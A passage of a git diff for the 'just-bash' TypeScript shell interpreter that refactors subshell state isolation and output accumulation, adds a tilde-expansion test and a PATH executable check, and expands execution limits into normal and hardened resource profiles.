-  ctx.state.localScopes = savedLocalScopes.map((scope) => new Map(scope));
-  if (savedLocalVarStack) {
-    ctx.state.localVarStack = new Map();
-    for (const [name, stack] of savedLocalVarStack.entries()) {
-      ctx.state.localVarStack.set(
-        name,
-        stack.map((entry) => ({ ...entry })),
-      );
-    }
-  }
-  if (savedLocalVarDepth) {
-    ctx.state.localVarDepth = new Map(savedLocalVarDepth);
-  }
-  if (savedFullyUnsetLocals) {
-    ctx.state.fullyUnsetLocals = new Map(savedFullyUnsetLocals);
+  const preparedRedirects = await preOpenOutputRedirects(
+    ctx,
+    node.redirections,
+  );
+  if (preparedRedirects.error) {
+    return preparedRedirects.error;
   }
 
-  // Reset loopDepth in subshell - break/continue should not affect parent loops
-  const savedLoopDepth = ctx.state.loopDepth;
+  const parentLoopDepth = ctx.state.loopDepth;
+  const restore = beginIsolatedShellState(ctx.state);
   // Track if parent has loop context - break/continue in subshell should exit subshell
-  const savedParentHasLoopContext = ctx.state.parentHasLoopContext;
-  ctx.state.parentHasLoopContext = savedLoopDepth > 0;
+  ctx.state.parentHasLoopContext = parentLoopDepth > 0;
   ctx.state.loopDepth = 0;
 
-  // Save $_ (last argument) - subshell execution should not affect parent's $_
-  const savedLastArg = ctx.state.lastArg;
-
   // Subshells get a new BASHPID (unlike $$ which stays the same)
-  const savedBashPid = ctx.state.bashPid;
   ctx.state.bashPid = ctx.state.nextVirtualPid++;
 
   // Save any existing groupStdin and set new one from pipeline
-  const savedGroupStdin = ctx.state.groupStdin;
   if (stdin) {
     ctx.state.groupStdin = stdin;
   }
 
-  let stdout = "";
-  let stderr = "";
+  const output = new ExecutionOutputAccumulator(ctx.executionScope, "subshell");
   let exitCode = 0;
 
-  const restore = (): void => {
-    ctx.state.env = savedEnv;
-    ctx.state.cwd = savedCwd;
-    ctx.state.options = savedOptions;
-    ctx.state.functions = savedFunctions;
-    ctx.state.localScopes = savedLocalScopes;
-    ctx.state.localVarStack = savedLocalVarStack;
-    ctx.state.localVarDepth = savedLocalVarDepth;
-    ctx.state.fullyUnsetLocals = savedFullyUnsetLocals;
-    ctx.state.loopDepth = savedLoopDepth;
-    ctx.state.parentHasLoopContext = savedParentHasLoopContext;
-    ctx.state.groupStdin = savedGroupStdin;
-    ctx.state.bashPid = savedBashPid;
-    ctx.state.lastArg = savedLastArg;
-  };
-
   try {
     for (const stmt of node.body) {
       const res = await executeStatement(stmt);
-      stdout += res.stdout;
-      stderr += res.stderr;
+      output.appendResult(res);
       exitCode = res.exitCode;
     }
   } catch (error) {
     restore();
     // ExecutionLimitError must always propagate - these are safety limits
     if (error instanceof ExecutionLimitError) {
+      output.prependTo(error);
       throw error;
     }
     // SubshellExitError means break/continue was called when parent had loop context
     // This exits the subshell cleanly with exit code 0
     if (error instanceof SubshellExitError) {
-      stdout += error.stdout;
-      stderr += error.stderr;
+      output.append(
+        "stdout",
+        error.stdout,
+        error.internalOutputAccounting.stdout,
+      );
+      output.append(
+        "stderr",
+        error.stderr,
+        error.internalOutputAccounting.stderr,
+      );
       // Apply output redirections before returning
-      const bodyResult = result(stdout, stderr, 0);
-      return applyRedirections(ctx, bodyResult, node.redirections);
+      const bodyResult = output.build(0);
+      return applyRedirections(
+        ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
     // BreakError/ContinueError should NOT propagate out of subshell
     // They only affect loops within the subshell
     if (error instanceof BreakError || error instanceof ContinueError) {
-      stdout += error.stdout;
-      stderr += error.stderr;
+      output.append(
+        "stdout",
+        error.stdout,
+        error.internalOutputAccounting.stdout,
+      );
+      output.append(
+        "stderr",
+        error.stderr,
+        error.internalOutputAccounting.stderr,
+      );
       // Apply output redirections before returning
-      const bodyResult = result(stdout, stderr, 0);
-      return applyRedirections(ctx, bodyResult, node.redirections);
+      const bodyResult = output.build(0);
+      return applyRedirections(
+        ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
     // ExitError in subshell should NOT propagate - just return the exit code
     // (subshells are like separate processes)
     if (error instanceof ExitError) {
-      stdout += error.stdout;
-      stderr += error.stderr;
+      output.append(
+        "stdout",
+        error.stdout,
+        error.internalOutputAccounting.stdout,
+      );
+      output.append(
+        "stderr",
+        error.stderr,
+        error.internalOutputAccounting.stderr,
+      );
       // Apply output redirections before returning
-      const bodyResult = result(stdout, stderr, error.exitCode);
-      return applyRedirections(ctx, bodyResult, node.redirections);
+      const bodyResult = output.build(error.exitCode);
+      return applyRedirections(
+        ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
     // ReturnError in subshell (e.g., f() ( return 42; )) should also just exit
     // with the given code, since subshells are like separate processes
     if (error instanceof ReturnError) {
-      stdout += error.stdout;
-      stderr += error.stderr;
+      output.append(
+        "stdout",
+        error.stdout,
+        error.internalOutputAccounting.stdout,
+      );
+      output.append(
+        "stderr",
+        error.stderr,
+        error.internalOutputAccounting.stderr,
+      );
       // Apply output redirections before returning
-      const bodyResult = result(stdout, stderr, error.exitCode);
-      return applyRedirections(ctx, bodyResult, node.redirections);
+      const bodyResult = output.build(error.exitCode);
+      return applyRedirections(
+        ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
+      );
     }
     if (error instanceof ErrexitError) {
       // Apply output redirections before propagating
-      const bodyResult = result(
-        stdout + error.stdout,
-        stderr + error.stderr,
-        error.exitCode,
+      output.append(
+        "stdout",
+        error.stdout,
+        error.internalOutputAccounting.stdout,
+      );
+      output.append(
+        "stderr",
+        error.stderr,
+        error.internalOutputAccounting.stderr,
+      );
+      const bodyResult = output.build(error.exitCode);
+      return applyRedirections(
+        ctx,
+        bodyResult,
+        node.redirections,
+        preparedRedirects.targets,
       );
-      return applyRedirections(ctx, bodyResult, node.redirections);
     }
     // Apply output redirections before returning
-    const bodyResult = result(
-      stdout,
-      `${stderr}${getErrorMessage(error)}\n`,
-      1,
+    output.append("stderr", `${getErrorMessage(error)}\n`);
+    const bodyResult = output.build(1);
+    return applyRedirections(
+      ctx,
+      bodyResult,
+      node.redirections,
+      preparedRedirects.targets,
     );
-    return applyRedirections(ctx, bodyResult, node.redirections);
   }
 
   restore();
 
   // Apply output redirections
-  const bodyResult = result(stdout, stderr, exitCode);
-  return applyRedirections(ctx, bodyResult, node.redirections);
+  const bodyResult = output.build(exitCode);
+  return applyRedirections(
+    ctx,
+    bodyResult,
+    node.redirections,
+    preparedRedirects.targets,
+  );
 }
 
 /**
@@ -219,14 +233,20 @@ export async function executeGroup(
   stdin: string,
   executeStatement: ExecuteStatementFn,
 ): Promise<ExecResult> {
-  let stdout = "";
-  let stderr = "";
+  const output = new ExecutionOutputAccumulator(ctx.executionScope, "group");
   let exitCode = 0;
 
+  const preparedRedirects = await preOpenOutputRedirects(
+    ctx,
+    node.redirections,
+  );
+  if (preparedRedirects.error) return preparedRedirects.error;
+
   // Process FD variable redirections ({varname}>file syntax)
   const fdVarError = await processFdVariableRedirections(
     ctx,
     node.redirections,
+    preparedRedirects.targets,
   );
   if (fdVarError) {
     return fdVarError;
@@ -259,14 +279,18 @@ export async function executeGroup(
         effectiveStdin = content;
       }
     } else if (redir.operator === "<<<" && redir.target.type === "Word") {
-      effectiveStdin = `${await expandWord(ctx, redir.target as WordNode)}\n`;
+      effectiveStdin = `${
+        preparedRedirects.targets.get(node.redirections.indexOf(redir)) ?? ""
+      }\n`;
     } else if (redir.operator === "<" && redir.target.type === "Word") {
       try {
-        const target = await expandWord(ctx, redir.target as WordNode);
+        const target =
+          preparedRedirects.targets.get(node.redirections.indexOf(redir)) ?? "";
         const filePath = ctx.fs.resolvePath(ctx.state.cwd, target);
         effectiveStdin = await ctx.fs.readFile(filePath);
       } catch {
-        const target = await expandWord(ctx, redir.target as WordNode);
+        const target =
+          preparedRedirects.targets.get(node.redirections.indexOf(redir)) ?? "";
         return result("", `bash: ${target}: No such file or directory\n`, 1);
       }
     }
@@ -281,8 +305,7 @@ export async function executeGroup(
   try {
     for (const stmt of node.body) {
       const res = await executeStatement(stmt);
-      stdout += res.stdout;
-      stderr += res.stderr;
+      output.appendResult(res);
       exitCode = res.exitCode;
     }
   } catch (error) {
@@ -290,6 +313,7 @@ export async function executeGroup(
     ctx.state.groupStdin = savedGroupStdin;
     // ExecutionLimitError must always propagate - these are safety limits
     if (error instanceof ExecutionLimitError) {
+      output.prependTo(error);
       throw error;
     }
     if (
@@ -297,18 +321,24 @@ export async function executeGroup(
       error instanceof ErrexitError ||
       error instanceof ExitError
     ) {
-      error.prependOutput(stdout, stderr);
+      error.prependOutput(output.stdout, output.stderr);
       throw error;
     }
-    return result(stdout, `${stderr}${getErrorMessage(error)}\n`, 1);
+    output.append("stderr", `${getErrorMessage(error)}\n`);
+    return output.build(1);
   }
 
   // Restore groupStdin
   ctx.state.groupStdin = savedGroupStdin;
 
   // Apply output redirections
-  const bodyResult = result(stdout, stderr, exitCode);
-  return applyRedirections(ctx, bodyResult, node.redirections);
+  const bodyResult = output.build(exitCode);
+  return applyRedirections(
+    ctx,
+    bodyResult,
+    node.redirections,
+    preparedRedirects.targets,
+  );
 }
 
 /**
@@ -345,19 +375,11 @@ export async function executeUserScript(
     }
   }
 
-  // Save current state for restoration after script execution
-  const savedEnv = new Map(ctx.state.env);
-  const savedCwd = ctx.state.cwd;
-  const savedOptions = { ...ctx.state.options };
-  const savedLoopDepth = ctx.state.loopDepth;
-  const savedParentHasLoopContext = ctx.state.parentHasLoopContext;
-  const savedLastArg = ctx.state.lastArg;
-  const savedBashPid = ctx.state.bashPid;
-  const savedGroupStdin = ctx.state.groupStdin;
-  const savedSource = ctx.state.currentSource;
+  const parentLoopDepth = ctx.state.loopDepth;
+  const cleanup = beginIsolatedShellState(ctx.state);
 
   // Set up subshell-like environment
-  ctx.state.parentHasLoopContext = savedLoopDepth > 0;
+  ctx.state.parentHasLoopContext = parentLoopDepth > 0;
   ctx.state.loopDepth = 0;
   ctx.state.bashPid = ctx.state.nextVirtualPid++;
   if (stdin) {
@@ -379,18 +401,6 @@ export async function executeUserScript(
     ctx.state.env.delete(String(i));
   }
 
-  const cleanup = (): void => {
-    ctx.state.env = savedEnv;
-    ctx.state.cwd = savedCwd;
-    ctx.state.options = savedOptions;
-    ctx.state.loopDepth = savedLoopDepth;
-    ctx.state.parentHasLoopContext = savedParentHasLoopContext;
-    ctx.state.lastArg = savedLastArg;
-    ctx.state.bashPid = savedBashPid;
-    ctx.state.groupStdin = savedGroupStdin;
-    ctx.state.currentSource = savedSource;
-  };
-
   try {
     const parser = new Parser();
     const ast = parser.parse(content);
@@ -400,9 +410,10 @@ export async function executeUserScript(
   } catch (error) {
     cleanup();
 
-    // ExitError propagates up (but with output from this script)
+    // Executable scripts run in a subshell-like environment, so exit only
+    // ends the script and returns its status to the surrounding command list.
     if (error instanceof ExitError) {
-      throw error;
+      return result(error.stdout, error.stderr, error.exitCode);
     }
 
     // ExecutionLimitError must always propagate
diff --git a/packages/just-bash/src/interpreter/temp-env-prefix-defense.test.ts b/packages/just-bash/src/interpreter/temp-env-prefix-defense.test.ts
index a167dd4d..f3dbdea9 100644
--- a/packages/just-bash/src/interpreter/temp-env-prefix-defense.test.ts
+++ b/packages/just-bash/src/interpreter/temp-env-prefix-defense.test.ts
@@ -4,7 +4,10 @@ import { afterEach, describe, expect, it } from "vitest";
 import { Bash } from "../Bash.js";
 import { DefenseInDepthBox } from "../security/defense-in-depth-box.js";
 
-describe("temp env prefix under defense-in-depth", () => {
+const describeDefense =
+  typeof nodeModule.registerHooks === "function" ? describe : describe.skip;
+
+describeDefense("temp env prefix under defense-in-depth", () => {
   afterEach(() => {
     DefenseInDepthBox.resetInstance();
   });
@@ -44,3 +47,5 @@ describe("temp env prefix under defense-in-depth", () => {
     expect(source).not.toMatch(/await\s+import\(/);
   });
 });
+
+import * as nodeModule from "node:module";
diff --git a/packages/just-bash/src/interpreter/tilde-provenance.security.test.ts b/packages/just-bash/src/interpreter/tilde-provenance.security.test.ts
new file mode 100644
index 00000000..b263cf8c
--- /dev/null
+++ b/packages/just-bash/src/interpreter/tilde-provenance.security.test.ts
@@ -0,0 +1,47 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+
+describe("assignment tilde provenance", () => {
+  it("expands only syntactically eligible unquoted tildes", async () => {
+    const result = await new Bash({ env: { HOME: "/home/test" } }).exec(`
+      quoted='~'
+      generated='~'
+      direct=~
+      path=before:~/bin
+      export exportedQuoted='~' exportedGenerated=$generated exportedPath=before:~/bin
+      declare declaredQuoted='~' declaredGenerated=$generated declaredPath=before:~/bin
+      f() {
+        local localQuoted='~' localGenerated=$generated localPath=before:~/bin
+        printf '%s|%s|%s\n' "$localQuoted" "$localGenerated" "$localPath"
+      }
+      f
+      printf '%s|%s|%s|%s\n' "$quoted" "$direct" "$path" "$exportedQuoted"
+      printf '%s|%s|%s|%s\n' "$exportedGenerated" "$exportedPath" "$declaredQuoted" "$declaredGenerated"
+      printf '%s\n' "$declaredPath"
+    `);
+
+    expect(result).toMatchObject({
+      stdout:
+        "~|~|before:/home/test/bin\n" +
+        "~|/home/test|before:/home/test/bin|~\n" +
+        "~|before:/home/test/bin|~|~\n" +
+        "before:/home/test/bin\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("preserves an explicitly empty HOME", async () => {
+    const result = await new Bash({ env: { HOME: "" } }).exec(`
+      direct=~
+      export path=left:~/right
+      printf '<%s>|<%s>\n' "$direct" "$path"
+    `);
+
+    expect(result).toMatchObject({
+      stdout: "<>|<left:/right>\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+});
diff --git a/packages/just-bash/src/interpreter/type-command.ts b/packages/just-bash/src/interpreter/type-command.ts
index 6f62453a..6726b54a 100644
--- a/packages/just-bash/src/interpreter/type-command.ts
+++ b/packages/just-bash/src/interpreter/type-command.ts
@@ -550,7 +550,7 @@ export async function findFirstInPath(
       // Check if it's a directory
       try {
         const stat = await ctx.fs.stat(fullPath);
-        if (stat.isDirectory) {
+        if (stat.isDirectory || (stat.mode & 0o111) === 0) {
           continue; // Skip directories
         }
       } catch {
diff --git a/packages/just-bash/src/interpreter/types.ts b/packages/just-bash/src/interpreter/types.ts
index 54757598..530cc76d 100644
--- a/packages/just-bash/src/interpreter/types.ts
+++ b/packages/just-bash/src/interpreter/types.ts
@@ -8,16 +8,22 @@ import type {
   ScriptNode,
   StatementNode,
 } from "../ast/types.js";
+import type { ExecutionScope } from "../execution-scope.js";
 import type { IFileSystem } from "../fs/interface.js";
 import type { ExecutionLimits } from "../limits.js";
 import type { SecureFetch } from "../network/index.js";
 import type {
+  CommandExecOptions,
   CommandRegistry,
   ExecResult,
   FeatureCoverageWriter,
   TraceCallback,
 } from "../types.js";
 
+export type InterpreterExecOptions = Omit<CommandExecOptions, "cwd"> & {
+  cwd?: string;
+};
+
 /**
  * Completion specification for a command, set by the `complete` builtin.
  */
@@ -158,6 +164,8 @@ export interface VariableAttributeState {
 export interface LocalScopingState {
   /** Stack of local variable scopes (one Map per function call) */
   localScopes: Map<string, string | undefined>[];
+  /** Whole-array snapshots parallel to localScopes. */
+  localArrayScopes?: Map<string, ShellArray | undefined>[];
   /**
    * Tracks at which call depth each local variable was declared.
    * Used for bash-specific unset scoping behavior:
@@ -361,6 +369,12 @@ export interface InterpreterState
   // ---- Core Environment ----
   /** Environment variables (exported to commands) - uses Map to prevent prototype pollution */
   env: Map<string, string>;
+  /**
+   * Array values live outside the scalar environment namespace.  Shell names such
+   * as `a_0` and `a__length` are valid scalar variables and must never alias an
+   * element or interpreter metadata.
+   */
+  arrays?: Map<string, ShellArray>;
   /** Current working directory */
   cwd: string;
   /** Previous directory (for `cd -`) */
@@ -383,6 +397,10 @@ export interface InterpreterState
   // ---- Shell Features ----
   /** Completion specifications set by the `complete` builtin */
   completionSpecs?: Map<string, CompletionSpec>;
+  /** Default completion policy (-D), kept outside the user command namespace. */
+  defaultCompletionSpec?: CompletionSpec;
+  /** Empty-line completion policy (-E), kept outside the user command namespace. */
+  emptyCompletionSpec?: CompletionSpec;
   /** Directory stack for pushd/popd/dirs */
   directoryStack?: string[];
   /** Hash table for PATH command lookup caching */
@@ -405,21 +423,23 @@ export interface InterpreterState
   extraArgs?: string[];
 }
 
+export interface ShellArray {
+  kind: "indexed" | "associative";
+  elements: Map<string, string>;
+}
+
 export interface InterpreterContext {
   state: InterpreterState;
   fs: IFileSystem;
   commands: CommandRegistry;
   /** Execution limits configuration */
   limits: Required<ExecutionLimits>;
+  /** Shared security accounting for this top-level execution and descendants. */
+  executionScope: ExecutionScope;
   execFn: (
     script: string,
-    options?: {
-      env?: Record<string, string>;
-      cwd?: string;
-      replaceEnv?: boolean;
-      signal?: AbortSignal;
-      args?: string[];
-    },
+    options?: InterpreterExecOptions,
+    stdinAlreadyAccounted?: boolean,
   ) => Promise<ExecResult>;
   executeScript: (node: ScriptNode) => Promise<ExecResult>;
   executeStatement: (node: StatementNode) => Promise<ExecResult>;
diff --git a/packages/just-bash/src/limits.ts b/packages/just-bash/src/limits.ts
index 7e810019..32a0d20e 100644
--- a/packages/just-bash/src/limits.ts
+++ b/packages/just-bash/src/limits.ts
@@ -10,128 +10,347 @@
  * All limits are optional - undefined values use defaults.
  */
 export interface ExecutionLimits {
-  /** Maximum function call/recursion depth (default: 100) */
+  /** Maximum shell source bytes accepted before parsing (normal default: 64 MiB) */
+  maxSourceBytes?: number;
+
+  /** Maximum nested interpreter executions through ctx.exec (default: 64) */
+  maxExecDepth?: number;
+
+  /** Maximum function call/recursion depth (normal default: 100) */
   maxCallDepth?: number;
 
-  /** Maximum number of commands to execute (default: 10000) */
+  /** Maximum number of commands to execute (normal default: 100000) */
   maxCommandCount?: number;
 
-  /** Maximum loop iterations for bash while/for/until loops (default: 10000) */
+  /** Maximum loop iterations for bash while/for/until loops (normal default: 100000) */
   maxLoopIterations?: number;
 
-  /** Maximum loop iterations for AWK while/for loops (default: 10000) */
+  /** Maximum loop iterations for AWK while/for loops (normal default: 100000) */
   maxAwkIterations?: number;
 
-  /** Maximum command iterations for SED (branch loops) (default: 10000) */
+  /** Maximum command iterations for SED branch loops (normal default: 100000) */
   maxSedIterations?: number;
 
-  /** Maximum iterations for jq loops (until, while, repeat) (default: 10000) */
+  /** Maximum iterations for jq loops (normal default: 100000) */
   maxJqIterations?: number;
 
-  /** Maximum sqlite3 query execution time in milliseconds (default: 5000) */
+  /** Maximum jq/yq parser tokens (default: 100000) */
+  maxQueryTokens?: number;
+
+  /** Maximum jq/yq object/query traversal depth (default: 1000) */
+  maxQueryDepth?: number;
+
+  /** Maximum jq/yq result elements (default: 1000000) */
+  maxQueryElements?: number;
+
+  /** Maximum AWK parser tokens (default: 100000) */
+  maxAwkParserTokens?: number;
+
+  /** Maximum AWK parser nesting depth (default: 256) */
+  maxAwkParserDepth?: number;
+
+  /** Maximum AWK parser operations (default: 1000000) */
+  maxAwkParserOperations?: number;
+
+  /** Maximum parsed CSV rows (default: 1000000) */
+  maxCsvRows?: number;
+
+  /** Maximum parsed CSV cells (default: 10000000) */
+  maxCsvCells?: number;
+
+  /** Aggregate execution work units shared across nested execution (default: 1000000) */
+  maxWorkUnits?: number;
+
+  /** Maximum filesystem entries visited by one traversal (default: 1000000) */
+  maxTraversalEntries?: number;
+
+  /** Maximum filesystem traversal nesting depth (default: 1000) */
+  maxTraversalDepth?: number;
+
+  /** Maximum filesystem traversal operations (default: 1000000) */
+  maxTraversalWork?: number;
+
+  /** Maximum reserved live/intermediate bytes (default: 512 MiB) */
+  maxLiveBytes?: number;
+
+  /** Maximum aggregate input bytes (default: 512 MiB) */
+  maxInputBytes?: number;
+
+  /** Maximum bytes retained by Bash's default in-memory filesystem (default: 1 GiB) */
+  maxFileSystemBytes?: number;
+
+  /** Maximum SQLite database image bytes (default: 1 GiB) */
+  maxDatabaseBytes?: number;
+
+  /** Maximum SQLite result bytes before output formatting (default: 256 MiB) */
+  maxDatabaseResultBytes?: number;
+
+  /** Maximum aggregate expanded archive bytes (default: 1 GiB) */
+  maxArchiveBytes?: number;
+
+  /** Maximum compressed archive input bytes (default: 512 MiB) */
+  maxArchiveCompressedBytes?: number;
+
+  /** Maximum bytes in one archive entry (default: 512 MiB) */
+  maxArchiveEntryBytes?: number;
+
+  /** Maximum archive entries (default: 1000000) */
+  maxArchiveEntries?: number;
+
+  /** Maximum worker request or response payload bytes (default: 64 MiB) */
+  maxWorkerMessageBytes?: number;
+
+  /** Maximum top-level execution wall time in milliseconds (default: 1 hour) */
+  maxExecutionTimeMs?: number;
+
+  /**
+   * Maximum time to let an aborted command acknowledge cancellation before its
+   * execution context is revoked (normal default: 100ms).
+   */
+  maxExtensionCleanupTimeMs?: number;
+
+  /** Maximum sqlite3 query execution time in milliseconds (normal default: 30000) */
   maxSqliteTimeoutMs?: number;
 
-  /** Maximum Python execution time in milliseconds (default: 10000, or 60000 with network) */
+  /** Maximum Python execution time in milliseconds (normal default: 30000) */
   maxPythonTimeoutMs?: number;
 
-  /** Maximum JavaScript (js-exec) execution time in milliseconds (default: 10000, or 60000 with network) */
+  /** Maximum JavaScript execution time in milliseconds (normal default: 30000) */
   maxJsTimeoutMs?: number;
 
-  /** Maximum glob filesystem operations (default: 100000) */
+  /** Maximum glob filesystem operations (normal default: 1000000) */
   maxGlobOperations?: number;
 
-  /** Maximum string length in bytes (default: 10MB = 10485760) */
+  /** Maximum string length in bytes (normal default: 64 MiB) */
   maxStringLength?: number;
 
-  /** Maximum array elements (default: 100000) */
+  /** Maximum array elements (normal default: 1000000) */
   maxArrayElements?: number;
 
-  /** Maximum heredoc size in bytes (default: 10MB = 10485760) */
+  /** Maximum heredoc size in bytes (normal default: 64 MiB) */
   maxHeredocSize?: number;
 
   /** Maximum command substitution nesting depth (default: 50) */
   maxSubstitutionDepth?: number;
 
-  /** Maximum brace expansion results (default: 10000) */
+  /** Maximum brace expansion results (normal default: 100000) */
   maxBraceExpansionResults?: number;
 
-  /** Maximum total output size (stdout + stderr) in bytes (default: 10MB = 10485760) */
+  /** Maximum total output size in bytes (normal default: 256 MiB) */
   maxOutputSize?: number;
 
-  /** Maximum number of open file descriptors (default: 1024) */
+  /** Maximum number of open file descriptors (normal default: 4096) */
   maxFileDescriptors?: number;
 
   /** Maximum source/. nesting depth (default: 100) */
   maxSourceDepth?: number;
 }
 
+/** Named limit presets. `normal` favors compatibility; `hardened` is opt-in. */
+export type ExecutionLimitProfile = "normal" | "hardened";
+
+/** Liberal default shared by shell and standalone transform entry points. */
+export const DEFAULT_MAX_SOURCE_BYTES: number = 64 * 1024 * 1024;
+
 /**
  * Default execution limits.
- * These are conservative limits designed to prevent runaway execution
- * while allowing reasonable scripts to complete.
+ * These liberal compatibility defaults remain bounded. Select the hardened
+ * profile for tighter untrusted-workload policy.
  */
 const DEFAULT_LIMITS: Required<ExecutionLimits> = {
+  maxSourceBytes: DEFAULT_MAX_SOURCE_BYTES,
+  maxExecDepth: 64,
   maxCallDepth: 100,
-  maxCommandCount: 10000,
-  maxLoopIterations: 10000,
-  maxAwkIterations: 10000,
-  maxSedIterations: 10000,
-  maxJqIterations: 10000,
-  maxSqliteTimeoutMs: 5000,
-  maxPythonTimeoutMs: 10000,
-  maxJsTimeoutMs: 10000,
-  maxGlobOperations: 100000,
-  maxStringLength: 10485760, // 10MB
-  maxArrayElements: 100000,
-  maxHeredocSize: 10485760, // 10MB
+  maxCommandCount: 100000,
+  maxLoopIterations: 100000,
+  maxAwkIterations: 100000,
+  maxSedIterations: 100000,
+  // Core query evaluation now shares one aggregate work counter. Keep the
+  // normal profile liberal enough for large, ordinary data transforms.
+  maxJqIterations: 10_000_000,
+  maxQueryTokens: 100000,
+  maxQueryDepth: 1000,
+  maxQueryElements: 1000000,
+  maxAwkParserTokens: 100000,
+  maxAwkParserDepth: 256,
+  maxAwkParserOperations: 1000000,
+  maxCsvRows: 1000000,
+  maxCsvCells: 10000000,
+  // Aggregate across an entire exec(), including large CSV/query transforms.
+  // Keep normal mode comfortably above the per-resource row/element limits;
+  // hardened mode below provides the tighter untrusted-workload ceiling.
+  maxWorkUnits: 100_000_000,
+  maxTraversalEntries: 1_000_000,
+  maxTraversalDepth: 1_000,
+  maxTraversalWork: 1_000_000,
+  maxLiveBytes: 512 * 1024 * 1024,
+  maxInputBytes: 512 * 1024 * 1024,
+  maxFileSystemBytes: 1024 * 1024 * 1024,
+  maxDatabaseBytes: 1024 * 1024 * 1024,
+  maxDatabaseResultBytes: 256 * 1024 * 1024,
+  maxArchiveBytes: 1024 * 1024 * 1024,
+  maxArchiveCompressedBytes: 512 * 1024 * 1024,
+  maxArchiveEntryBytes: 512 * 1024 * 1024,
+  maxArchiveEntries: 1000000,
+  maxWorkerMessageBytes: 64 * 1024 * 1024,
+  // Prior releases had no top-level deadline. Keep normal compatibility-safe
+  // for long real workloads while retaining a finite defense-in-depth bound.
+  maxExecutionTimeMs: 60 * 60 * 1000,
+  maxExtensionCleanupTimeMs: 100,
+  maxSqliteTimeoutMs: 30000,
+  maxPythonTimeoutMs: 30000,
+  maxJsTimeoutMs: 30000,
+  maxGlobOperations: 1000000,
+  maxStringLength: 64 * 1024 * 1024,
+  maxArrayElements: 1000000,
+  maxHeredocSize: 64 * 1024 * 1024,
   maxSubstitutionDepth: 50,
-  maxBraceExpansionResults: 10000,
-  maxOutputSize: 10485760, // 10MB
-  maxFileDescriptors: 1024,
+  maxBraceExpansionResults: 100000,
+  maxOutputSize: 256 * 1024 * 1024,
+  maxFileDescriptors: 4096,
   maxSourceDepth: 100,
 };
 
+const HARDENED_LIMITS: Required<ExecutionLimits> = {
+  ...DEFAULT_LIMITS,
+  maxSourceBytes: 8 * 1024 * 1024,
+  maxCommandCount: 10_000,
+  maxLoopIterations: 10_000,
+  maxAwkIterations: 10_000,
+  maxSedIterations: 10_000,
+  maxJqIterations: 10_000,
+  maxSqliteTimeoutMs: 5_000,
+  maxPythonTimeoutMs: 10_000,
+  maxJsTimeoutMs: 10_000,
+  maxExtensionCleanupTimeMs: 25,
+  maxGlobOperations: 100_000,
+  maxStringLength: 10 * 1024 * 1024,
+  maxArrayElements: 100_000,
+  maxHeredocSize: 10 * 1024 * 1024,
+  maxBraceExpansionResults: 10_000,
+  maxOutputSize: 10 * 1024 * 1024,
+  maxFileDescriptors: 1_024,
+  maxQueryTokens: 25_000,
+  maxQueryDepth: 256,
+  maxQueryElements: 100_000,
+  maxAwkParserTokens: 25_000,
+  maxAwkParserDepth: 128,
+  maxAwkParserOperations: 100_000,
+  maxCsvRows: 100_000,
+  maxCsvCells: 1_000_000,
+  maxWorkUnits: 100_000,
+  maxTraversalEntries: 100_000,
+  maxTraversalDepth: 256,
+  maxTraversalWork: 100_000,
+  maxLiveBytes: 64 * 1024 * 1024,
+  maxInputBytes: 32 * 1024 * 1024,
+  maxFileSystemBytes: 128 * 1024 * 1024,
+  maxDatabaseBytes: 64 * 1024 * 1024,
+  maxDatabaseResultBytes: 16 * 1024 * 1024,
+  maxArchiveBytes: 128 * 1024 * 1024,
+  maxArchiveCompressedBytes: 64 * 1024 * 1024,
+  maxArchiveEntryBytes: 64 * 1024 * 1024,
+  maxArchiveEntries: 100_000,
+  maxWorkerMessageBytes: 16 * 1024 * 1024,
+  maxExecutionTimeMs: 30_000,
+};
+
 /**
  * Resolve execution limits by merging user-provided limits with defaults.
  */
 export function resolveLimits(
   userLimits?: ExecutionLimits,
+  profile: ExecutionLimitProfile = "normal",
 ): Required<ExecutionLimits> {
+  if (profile !== "normal" && profile !== "hardened") {
+    throw new RangeError(
+      `executionLimitProfile must be "normal" or "hardened"`,
+    );
+  }
+  const defaults = profile === "hardened" ? HARDENED_LIMITS : DEFAULT_LIMITS;
   if (!userLimits) {
-    return { ...DEFAULT_LIMITS };
+    return { ...defaults };
   }
-  return {
-    maxCallDepth: userLimits.maxCallDepth ?? DEFAULT_LIMITS.maxCallDepth,
-    maxCommandCount:
-      userLimits.maxCommandCount ?? DEFAULT_LIMITS.maxCommandCount,
+  const resolved: Required<ExecutionLimits> = {
+    maxSourceBytes: userLimits.maxSourceBytes ?? defaults.maxSourceBytes,
+    maxExecDepth: userLimits.maxExecDepth ?? defaults.maxExecDepth,
+    maxCallDepth: userLimits.maxCallDepth ?? defaults.maxCallDepth,
+    maxCommandCount: userLimits.maxCommandCount ?? defaults.maxCommandCount,
     maxLoopIterations:
-      userLimits.maxLoopIterations ?? DEFAULT_LIMITS.maxLoopIterations,
-    maxAwkIterations:
-      userLimits.maxAwkIterations ?? DEFAULT_LIMITS.maxAwkIterations,
-    maxSedIterations:
-      userLimits.maxSedIterations ?? DEFAULT_LIMITS.maxSedIterations,
-    maxJqIterations:
-      userLimits.maxJqIterations ?? DEFAULT_LIMITS.maxJqIterations,
+      userLimits.maxLoopIterations ?? defaults.maxLoopIterations,
+    maxAwkIterations: userLimits.maxAwkIterations ?? defaults.maxAwkIterations,
+    maxSedIterations: userLimits.maxSedIterations ?? defaults.maxSedIterations,
+    maxJqIterations: userLimits.maxJqIterations ?? defaults.maxJqIterations,
+    maxQueryTokens: userLimits.maxQueryTokens ?? defaults.maxQueryTokens,
+    maxQueryDepth: userLimits.maxQueryDepth ?? defaults.maxQueryDepth,
+    maxQueryElements: userLimits.maxQueryElements ?? defaults.maxQueryElements,
+    maxAwkParserTokens:
+      userLimits.maxAwkParserTokens ?? defaults.maxAwkParserTokens,
+    maxAwkParserDepth:
+      userLimits.maxAwkParserDepth ?? defaults.maxAwkParserDepth,
+    maxAwkParserOperations:
+      userLimits.maxAwkParserOperations ?? defaults.maxAwkParserOperations,
+    maxCsvRows: userLimits.maxCsvRows ?? defaults.maxCsvRows,
